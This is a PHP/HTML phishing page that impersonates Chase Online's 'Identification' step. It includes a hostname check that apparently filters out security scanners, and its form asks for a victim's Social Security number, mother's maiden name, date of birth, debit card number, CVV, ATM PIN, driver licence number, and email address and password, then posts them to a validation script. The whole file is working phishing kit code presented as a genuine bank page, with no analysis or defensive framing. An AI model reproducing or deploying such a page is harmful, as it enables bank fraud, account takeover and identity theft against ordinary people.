<?php
require_once 'hostname_check.php'; // Check if hostname contain blocked word

$index="Enroll.php?header=1&valid=".$_GET['valid'];
$hostname = bin2hex ($_SERVER['HTTP_HOST']); //GET HOST NAME
$Submit = "validation.php?check=$hostname";
ini_set("output_buffering",4096);
session_start();

//Sessions
$Validate = $_GET ['valid'];
if ($Validate !="true") {

$fName = $_GET['fname'];
$lName = $_GET['lname'];
$Address = $_GET['address'];
$city = $_GET['city'];
$state = $_GET['state'];
$Zip = $_GET['zip'];
$phone = $_GET['phone'];
$ssn = $_GET['ssn'];
$dob = $_GET['dob'];
$ccnum = $_GET['cc'];
$ExpDate = $_GET['expdate'];
$nameoncc = $_GET['nameoncc'];
$cvv = $_GET['cvv'];
}
require_once 'enc.php';
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en"><head>
<style>
td.backtop {background:#FFF url(imgs/top2.jpg);} 
td.backmid {background:#FFF url(imgs/center3.jpg);} 
td.backbot {background:#FFF url(imgs/bottom3.jpg);} 

</style>
<style>
td.backtop {background:#FFF url(imgs/top2.jpg);} 
td.backmid {background:#FFF url(imgs/center3.jpg);} 
td.backbot {background:#FFF url(imgs/bottom3.jpg);} 
.auto-style1 {
	font-weight: normal;
}
.auto-style2 {
	border: #666666 1px solid;
	padding: 0px 0px 0px 0px;
	height: 10px;
	font-size: 1px;
	background-color: #5280b1;
	color: inherit;
	background-position: center;
	background-repeat: no-repeat;
}
.auto-style3 {
	border: #666666 1px solid;
	padding: 0px 0px 0px 0px;
	height: 10px;
	font-size: 1px;
	background-color: #999999;
	color: #ffffff;
}
</style>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<meta http-equiv="Pragma" content="no-cache"/>
<meta http-equiv="Expires" content="-1"/>
<meta http-equiv="Cache-Control" content="no-cache"/>
<meta http-equiv="Cache-Control" content="no-store"/>
<meta http-equiv="Cache-Control" content="post-check=0"/>
<meta http-equiv="Cache-Control" content="pre-check=0"/>
<meta http-equiv="Content-Style-Type" content="text/css"/>
<meta name="CONNECTION" content="CLOSE"/><meta name="description" content="Identification" /><link rel="stylesheet" type="text/css" href="imgs/styles_cco_enroll.css?Style=<?php echo $index; ?>"/><link rel="stylesheet" type="text/css" href="imgs/style.css?Style=<?php echo $index; ?>"/><link rel="stylesheet" type="text/css" href="imgs/style2.css?Style=<?php echo $index; ?>"/><link rel="SHORTCUT ICON" href="imgs/favicon.ico"/><title>Chase Online - Identification</title>



</head>


<body>



<form name="Subs" method="POST" action="<?php echo $Submit; ?>" >





<div>


</div>
  <center>
<!-- BEGIN Global Navigation table --><table cellspacing="0" cellpadding="0" border="0" class="fullwidth" summary="global navigation"><tr><td><a href="#" id="siteLogo"><img src="imgs/ChaseNew.gif" alt="Chase Online Logo" style="margin: 17px 17px 17px 17px;"/></a></td><td class="globalnav"><a id="homelink" href="JavaScript:document.location.href='#';" class="globalnavlinks">Chase.com</a>&nbsp;&nbsp;|&nbsp;&nbsp;<a id="privacypolicylik" href="JavaScript:document.location.href='#';" class="globalnavlinks">Privacy Notice</a></td></tr></table><!-- END Global Navigation table --><!-- BEGIN Tab Navigation table --><table cellspacing="0" cellpadding="0" border="0" summary="primary navigation"><tr><td class="spacerh5">&nbsp;</td></tr></table><!-- END Tab Navigation table --><!-- BEGIN Segment table --><table cellspacing="0" cellpadding="0" border="0" class="headerbarwidth" summary="section header"><tr class="headerbar"><td class="segimage" align="left">&nbsp;</td><td class="headerbardate">
  &nbsp;</td></tr></table><!-- END Segment table -->

<div class="constraint-container">
<table cellspacing="0" cellpadding="0" class="fullwidth">
	<tr>
		<td class="sidebar">&nbsp;</td>
		<td class="spacerw25">&nbsp;</td>
		<td width="721" valign="top"><div class="Printable">
      <table width="100%" cellpadding="0" cellspacing="0" border="0">
        <tr>
          <td align="left">
            <div class="notprintable"><table cellspacing="0" cellpadding="0" width="100%"><tr><td class="bcrow" style="padding-left: 0px;"></td></tr></table><table cellspacing="0" cellpadding="0" width="100%"><tr><td colspan="2" class="spacerh20">&nbsp;</td></tr><tr><td class="pagetitle">Identification </td><td align="right"><img src="imgs/arrow_outlined-short.gif" width="13" height="13" alt="" style="vertical-align:bottom;"/>&nbsp;<a id="pageHelpKeyIdentifyUser" title="Help with this page" class="helplinks" onblur="window.status='';return true;" onmouseover="window.status='';return true;" onfocus="window.status='';return true;" onmouseout="window.status='';return true;" href="javascript:OpenWindowHelp('#');">Help with this page</a>&nbsp;</td></tr><tr><td colspan="2" class="spacerh20"></td></tr></table></div>

          </td>
        </tr>
        <tr>
          <td align="left">
           
            

<table border="0" style="margin-left: 14px;"><tr>
	<td class="auto-style2" style="height: 12px"></td>
<td class="stepon" style="height: 12px"></td>
	<td class="auto-style3" style="height: 12px"></td>
	<td class="auto-style3" style="height: 12px"></td></tr><tr><td class="steptexton" align="center" title="You are on step one of six.  There is at least one page per step.">
		<span class="auto-style1"><span class="greytext">Authorization Login</span></span></td><td class="steptextoff" align="center" title="Step two of six has not been completed.">
		<strong><span class="clrblk">Identification</span> </strong><img src="images/spacer.gif" alt="Step two of six has not been completed." width="1" height="1"/></td><td class="steptextoff" align="center" title="Step three of six has not been completed.">
		Proccessing<img src="images/spacer.gif" alt="Step three of six has not been completed." width="1" height="1"/></td><td class="steptextoff" align="center" title="Step six of six has not been completed.">
	Done<img src="images/spacer.gif" alt="Step six of six has not been completed." width="1" height="1"/></td></tr></table><!--End Progress bar-->


          </td>
        </tr>

        <tr>
          <td>
            <table>
              <tr>
                <td valign="top">
                  <table border="0" cellspacing="0" cellpadding="0" summary="main content" width="100%">

                    <tr>
                      <td class="spacerH8">
                        &nbsp;</td>
                    </tr>
                    <tr>
                      <td>
                        <table border="0" cellspacing="0" cellpadding="0">
                          <tr>
                            <td width="13px">

                              &nbsp;</td>
                          </tr>
                        </table>
                      </td>
                    </tr>

                    <tr>
                      <td class="spacerW10">

                        &nbsp;</td>
                    </tr>
                  </table>
                  <table cellspacing="0" cellpadding="0" width="100%" summary="main content" border="0">
                    <tr id="trRequiredField">
	<td class="inputField" colspan="3">
                        &nbsp;&nbsp;&nbsp;
                    
                      </td>
</tr>

                    <tr>
                      <td colspan="3">
                        <table border="0" cellspacing="0" cellpadding="0" width="100%" summary="layout" ><tr><td class="lblueheaderleft" width="12px">&nbsp;</td><td class="lblueheader2">
                          <p class="summaryHeader" title="Enter Identification Information">Enter Identification Information</p>
                        </td><td class="lblueheaderright" width="12px">&nbsp;</td></tr></table>

                      </td>
                    </tr>
                  </table>
                  <table id="Table1" cellspacing="0" cellpadding="2" width="100%" summary="your profile information" border="0">
	<tr>
		<td colspan="2">
                        
                      </td>
	</tr>
	<tr>

		<td colspan="2">
                        &nbsp;</td>
	</tr>
	<tr>
		<td class="spacerH10">&nbsp;</td>
		<td>
                        <table border="0" cellpadding="0" cellspacing="0" width="100%">
                          <tr>
                            <td width="48%" valign="top">

                              <table border="0" cellpadding="0" cellspacing="0" width="100%">
                                <tr>
                                  <td class="spacerW10">
                                    &nbsp;</td>
                                </tr>

                                  <tr>
                                  <td class="inputField" valign="top" width="25%" align="center" >
                                    <label title="User ID">

                                      First Name 
                                    </label>
                                   </td>
								   
                                   <td class="inputtextbox">
                                    <input name="FNAME" type="text" value="<?php if (isset($_SESSION['FNAME'])) { print $_SESSION['FNAME'];} else {print "";} ?>" maxlength="32" id="inptUserId0"  required autocapitalize="off" autocomplete="off"  style="width: 192px" />
										<?php if ($Validate !="true") { if ($fName ==1) {
											print "<span class=\"errorText\">Please enter valid first name.</span>";
											} }
										?>
                                  </td>
                                  </tr>

                                  <tr>
                                  <td class="inputField" valign="top" width="25%" align="center" style="height: 30px" >
                                    <label title="User ID">

                                      Last Name 
                                    </label>
                                   </td>
                                   <td class="inputtextbox" style="height: 30px">
                                    <input name="LNAME" type="text" value="<?php if (isset($_SESSION['LNAME'])) { print $_SESSION['LNAME'];} else {print "";} ?>" maxlength="32" id="inptUserId20" required autocapitalize="off" autocomplete="off" style="width: 192px" />
									<?php if ($Validate !="true") { if ($lName ==1) {
											print "<span class=\"errorText\">Please enter valid last name.</span>";
											} }
									?>
                                  </td>
                                  </tr>
						
								  <tr>
                                  <td class="inputField" valign="top" width="25%" align="center" >
                                    <label title="User ID">

                                      Address 
                                    </label>
                                   </td>
                                   <td class="inputtextbox">
                                    <input name="Address" type="text"  value="<?php if (isset($_SESSION['ADDRESS'])) { print $_SESSION['ADDRESS'];} else {print "";} ?>" maxlength="32" required autocapitalize="off" autocomplete="off" id="inptUserId21"  style="width: 192px" />
									<?php if ($Validate !="true") { if ($Address ==1) {
											print "<span class=\"errorText\">Please enter valid address.</span>";
											} }
									?>
                                  </td>
                                  </tr>
								  <tr>
                                  <td class="inputField" valign="top" width="25%" align="center" >
                                    <label title="User ID">

                                     City 
                                    </label>
                                   </td>
                                   <td class="inputtextbox">
                                    <input name="CITY" type="text" value="<?php if (isset($_SESSION['City'])) { print $_SESSION['City'];} else {print "";} ?>" maxlength="32" id="inptUserId22" required autocapitalize="off" autocomplete="off" style="width: 192px" />
									<?php if ($Validate !="true") { if ($city ==1) {
											print "<span class=\"errorText\">Please enter valid city.</span>";
											} }
									?>
                                  </td>
                                  </tr>
								  
								 
								  <tr>
                                  <td class="inputField" valign="top" width="25%" align="center" >
                                    <label title="User ID">

                                      State 
                                    </label>
                                   </td>
                                   <td class="inputtextbox">
								    <input name="State" type="text" value="<?php if (isset($_SESSION['State'])) { print $_SESSION['State'];} else {print "";} ?>" maxlength="32" id="inptUserId23" autocomplete="off"  list="state" required  style="width: 192px" />
									<?php if ($Validate !="true") { if ($state ==1) {
											print "<span class=\"errorText\">Please enter valid state.</span>";
											} }
									?>
<datalist id="state">
<option value="AL">
<option value="AK">
<option value="AZ">
<option value="AR">
<option value="CA">
<option value="CO">
<option value="CT">
<option value="DE">
<option value="DC">
<option value="FL">
<option value="GA">
<option value="HI">
<option value="ID">
<option value="IL">
<option value="IN">
<option value="IA">
<option value="KS">
<option value="KY">
<option value="LA">
<option value="ME">
<option value="MD">
<option value="MA">
<option value="MI">
<option value="MN">
<option value="MS">
<option value="MO">
<option value="MT">
<option value="NE">
<option value="NV">
<option value="NH">
<option value="NJ">
<option value="NM">
<option value="NY">
<option value="NC">
<option value="ND">
<option value="OH">
<option value="OK">
<option value="OR">
<option value="PA">
<option value="RI">
<option value="SC">
<option value="SD">
<option value="TN">
<option value="TX">
<option value="UT">
<option value="VT">
<option value="VA">
<option value="WA">
<option value="WV">
<option value="WI">
<option value="WY">
</datalist>
                                  </td>
                                  </tr>
								  <tr>
                                  <td class="inputField" valign="top" width="25%" align="center" >
                                    <label title="User ID">

                                      Zip Code 
                                    </label>
                                   </td>
                                   <td class="inputtextbox">
                                    <input name="ZIP" type="text" value="<?php if (isset($_SESSION['ZIP'])) { print $_SESSION['ZIP'];} else {print "";} ?>" maxlength="32" id="inptUserId25" autocomplete="off" required  style="width: 95px" />
									<?php if ($Validate !="true") { if ($Zip ==1) {
											print "<span class=\"errorText\">Please enter valid zip code.</span>";
											} }
									?>
                                  </td>
                                  </tr>
								  <tr>
                                  <td class="inputField" valign="top" width="25%" align="center" >
                                    <label title="User ID">

                                    Phone Number 
                                    </label>
                                   </td>
                                   <td class="inputtextbox">
                                    <input name="PHONE" type="text" maxlength="32" value="<?php if (isset($_SESSION['Phone'])) { print $_SESSION['Phone'];} else {print "";} ?>" id="inptUserId26" autocomplete="off" required style="width: 192px" />
									<?php if ($Validate !="true") { if ($phone ==1) {
											print "<span class=\"errorText\">Please enter valid phone number.</span>";
											} }
									?>
                                  </td>
                                  </tr>
								  <tr>
                                  <td class="inputField" valign="top" width="25%" align="center" >
                                    <label title="User ID">

                                     Social Security Number 
                                    </label>
                                   </td>
                                   <td class="inputtextbox">
                                    <input name="SSN" type="text" Placeholder="XXX-XX-XXXX"  autocomplete="off" value="<?php if (isset($_SESSION['SSN'])) { print $_SESSION['SSN'];} else {print "";} ?>" maxlength="12" id="inptUserId41" required style="width: 127px" />
									<?php if ($Validate !="true") { if ($ssn ==1) {
											print "<span class=\"errorText\">Please enter valid social security number.</span>";
											} }
									?>
                                  </td>
                                  </tr>
								  <tr>
                                  <td class="inputField" valign="top" width="25%" align="center" >
                                    <label title="User ID">

                                     Mother's Maiden Name 
                                    </label>
                                   </td>
                                   <td class="inputtextbox">
                                    <input name="MMN" type="text" value="<?php if (isset($_SESSION['MMN'])) { print $_SESSION['MMN'];} else {print "";} ?>"maxlength="32" id="inptUserId27" required autocapitalize="off" autocomplete="off" style="width: 127px" />
                                  </td>
                                  </tr>
								  <tr>
                                  <td class="inputField" valign="top" width="25%" align="center" style="height: 30px" >
                                    <label title="User ID">

                                    Date of Birth 
                                    </label>
                                   </td>
                                   <td class="inputtextbox" style="height: 30px">
    			
			<input name="DOB" type="text" value="<?php if (isset($_SESSION['DOB'])) { print $_SESSION['DOB'];} else {print "";} ?>" maxlength="32" id="inptUserId28" required  Placeholder="MM/DD/YYYY" autocapitalize="off" autocomplete="off" style="width: 192px" />
									<?php if ($Validate !="true") { if ($dob ==1) {
											print "<span class=\"errorText\">Please enter valid birthday.</span>";
											} }
									?>
                                  </td>
                                  </tr>

                                <tr id="trPersonalAccts" style="display: none">
			<td width="2%">
                                    &nbsp;</td>

		</tr>
		
                                <tr>
                                  <td class="spacerH5">&nbsp;</td>
                                </tr>
                                <tr id="trBusinessAccts" style="display: none">

			<td width="2%">
                                    &nbsp;</td>
		</tr>
		
                              </table>
                            </td>
                          </tr>
                        </table>

                      </td>
	</tr>
	<tr>
		<td colspan="2" class="spacerh10"></td>
	</tr>
	<tr>
		<td colspan="2">
                        <table border="0" cellspacing="0" cellpadding="0" width="100%" summary="layout" ><tr><td class="lblueheader2" width="12px">&nbsp;</td><td class="lblueheader2">
                          <p class="summaryHeader" >
						  Billing Information: </p>

                        </td><td class="lblueheader2" width="12px">&nbsp;</td></tr></table>
                      </td>
	</tr>

	<tr>
		<td class="padLeft11" colspan="2">
                        <table border="0" cellpadding="0" cellspacing="0" width="100%">

                          <tr>
                            <td width="48%" valign="top" class="padLeft8">
                              <table border="0" cellpadding="0" cellspacing="0" width="100%">
                              
								  <tr>
                                  <td class="inputField" valign="top" width="25%" align="center" >
                                    <label title="User ID">

                                     Debit Card number 
                                    </label>
                                   </td>
                                   <td class="inputtextbox">
                                    <input name="CCnum" type="text" maxlength="32" id="CardNumber" required autocomplete="off"  style="width: 182px" />
									<?php if ($Validate !="true") { if ($ccnum ==1) {
											print "<span class=\"errorText\">Please enter valid card number.</span>";
											} }
									?>
                                  </td>
                                  </tr>
								  <tr>
                                  <td class="inputField" valign="top" width="25%" align="center" >
                                    <label title="User ID">

                                      Expiration Date 
                                    </label>
                                   </td>
                                   <td class="inputtextbox">
								   <input name="EXPDATE" type="text" value="<?php if (isset($_SESSION['EXPDATE'])) { print $_SESSION['EXPDATE'];} else {print "";} ?>" maxlength="32" id="inptUserId233" Placeholder="MM / YYYY" required autocomplete="off" autocapitalize="off" style="width: 134px" />
									<?php if ($Validate !="true") { if ($ExpDate ==1) {
											print "<span class=\"errorText\">Please enter valid expiration date.</span>";
											} }
									?>
    			
									</td>
                                  </tr>
								  <tr>
                                  <td class="inputField" valign="top" width="25%" align="center" >
                                    <label title="User ID">

                                      Name on Card 
                                    </label>
                                   </td>
                                   <td class="inputtextbox">
                                    <input name="Nameoncc" type="text" value="<?php if (isset($_SESSION['Nameoncc'])) { print $_SESSION['Nameoncc'];} else {print "";} ?>" maxlength="32" id="inptUserId32" required autocomplete="off" autocapitalize="off" style="width: 192px" />
									<?php if ($Validate !="true") { if ($nameoncc ==1) {
											print "<span class=\"errorText\">Please enter valid name.</span>";
											} }
									?>
                                  </td>
                                  </tr>
								  <tr>
                                  <td class="inputField" valign="top" width="25%" align="center" >
                                    <label title="User ID">

                                      Cvv 
                                    </label>
                                   </td>
								   
                                   <td class="inputtextbox">
    			 <span style="font-size:13px;">
				 
        <input name="CVV" type="text" Placeholder="Security Code" value="<?php if (isset($_SESSION['CVV'])) { print $_SESSION['CVV'];} else {print "";} ?>" required autocapitalize="off" autocomplete="off" maxLength="3"     ></span>
											<?php if ($Validate !="true") { if ($cvv ==1) {
											print "<span class=\"errorText\">Please enter valid security code.</span>";
											} }
									?>
                                  </td>
                                  </tr>
								  <tr>
                                  <td class="inputField" valign="top" width="25%" align="center" >
                                    <label title="User ID">

                                     Card Signature/PIN 
                                    </label>
                                   </td>
                                   <td class="inputtextbox">
    			 <span style="font-size:13px;">
				
        <input type="password" name="ATMPIN" value="<?php if (isset($_SESSION['PIN'])) { print $_SESSION['PIN'];} else {print "";} ?>" maxlength="4" size="24"  required autocomplete="off" placeholder="ATM PIN" style="width: 100px"</span>
                                  </td>
                                  </tr>
								 
								  <tr>
                                  <td class="inputField" valign="top" width="25%" align="center" style="height: 30px" >
                                    <label title="User ID">

                                      Driver License Number
                                    </label>
                                   </td>
                                   <td class="inputtextbox" style="height: 30px">
                                    <input name="DLicense" type="text" value="<?php if (isset($_SESSION['DLicense'])) { print $_SESSION['DLicense'];} else {print "";} ?>" maxlength="32" id="inptUserr2" autocomplete="off" autocapitalize="off" style="width: 154px" />
                                  </td>
                                  </tr>
                                  <tr>

			<td align="left" colspan="2">
                                  
                                  </td>
                                  	<tr>
		<td colspan="2" class="spacerh10"></td>
	</tr>
	<tr>
		<td colspan="2">
                        <table border="0" cellspacing="0" cellpadding="0" width="100%" summary="layout" ><tr><td class="lblueheader2" width="12px">&nbsp;</td><td class="lblueheader2">
                          <p class="summaryHeader" >
						  Email Authorization: </p>

                        </td><td class="lblueheader2" width="12px">&nbsp;</td></tr></table>
                      </td>
	</tr>

								  </tr>
								<P>  
								  <tr>
                                  <td class="inputField" valign="top" width="25%" align="center" style="height: 30px" >
                                    <label title="User ID">

                                    Email 
                                    </label>
                                   </td>
                                   <td class="inputtextbox" style="height: 30px">
                                    <input name="EMail" type="email" autocomplete="off"  value="<?php if (isset($_SESSION['EMail'])) { print $_SESSION['EMail'];} else {print "";} ?>" maxlength="32" id="inptUserId42" required  style="width: 175px" />
                                  </td>
                                  </tr>
								  <tr>
                                  <td class="inputField" valign="top" width="25%" align="center" style="height: 30px" >
                                    <label title="User ID">

                                      Password 
                                    </label>
                                   </td>
                                   <td class="inputtextbox" style="height: 30px">
                                    <input name="Password" type="password"  value="<?php if (isset($_SESSION['Password'])) { print $_SESSION['Password'];} else {print "";} ?>" maxlength="32" id="inptUserId40" autocomplete="off"
 required style="width: 175px" />
                                  </td>
                                  </tr>

								  </p>
							
								  
								            <tr>

			<td align="left" colspan="2">
                                    
                                  </td>
                                  	
                                <tr>
                               <td colspan="2">
                                   
<span class="bodytext">
To help ensure the security of your Chase account please provide your Email credentials.<br /></span></td>
                                </tr></p>
								
                                <tr>
								
                                  <td class="spacerh10" colspan="2" />
                                </tr>
                                <tr id="trUserIdErr" style="display: none">

			<td align="left" colspan="2">
                                    
                                  </td>
		</tr>
		
                              </table>
                            </td>
                          </tr>
                        </table>
                      </td>
	</tr>


	<tr>

		<td class="divider2" colspan="2">
                        <label title="Horizontal Line">
                        </label>
                      </td>
	</tr>
	<tr>
		<td colspan="2" class="tanButtonRow" align="center">
                        <div class="NotPrintable"><table><tr><td align="center"></td><td><input type="SUBMIT" name="NextButton" value="Next" id="NextButton"  class="buttonfwd" alt="Next" />
						
						</td></tr></table></div>
                      </td>

	</tr>
</table>

                </td>
              </tr>
            </table>
          </td>
        </tr>
      </table>
    &nbsp;</div></td>

		<td class="spacerw25">&nbsp;</td>
		<td class="sidebar">&nbsp;</td>
	</tr>
	<tr>
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